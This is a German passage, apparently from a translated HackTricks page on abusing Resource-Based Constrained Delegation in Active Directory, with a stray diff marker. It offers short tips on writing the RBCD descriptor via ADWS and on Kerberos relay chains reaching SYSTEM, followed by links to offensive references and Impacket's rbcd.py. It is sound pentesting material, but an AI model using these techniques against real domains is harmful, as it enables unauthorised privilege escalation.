## Hinweise, Relais und Alternativen
- Sie können auch die RBCD SD über AD Web Services (ADWS) schreiben, wenn LDAP gefiltert ist. Siehe:
{{#ref}}
adws-enumeration.md
{{#endref}}
- Kerberos-Relay-Ketten enden häufig in RBCD, um in einem Schritt lokalen SYSTEM zu erreichen. Siehe praktische End-to-End-Beispiele:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
## Referenzen
@ -116,5 +195,8 @@ Erfahren Sie mehr über die [**verfügbaren Diensttickets hier**](silver-ticket.
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
- Impacket rbcd.py (offiziell): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Schnelle Linux-Übersicht mit aktueller Syntax: https://tldrbins.github.io/rbcd/
{{#include ../../banners/hacktricks-training.md}}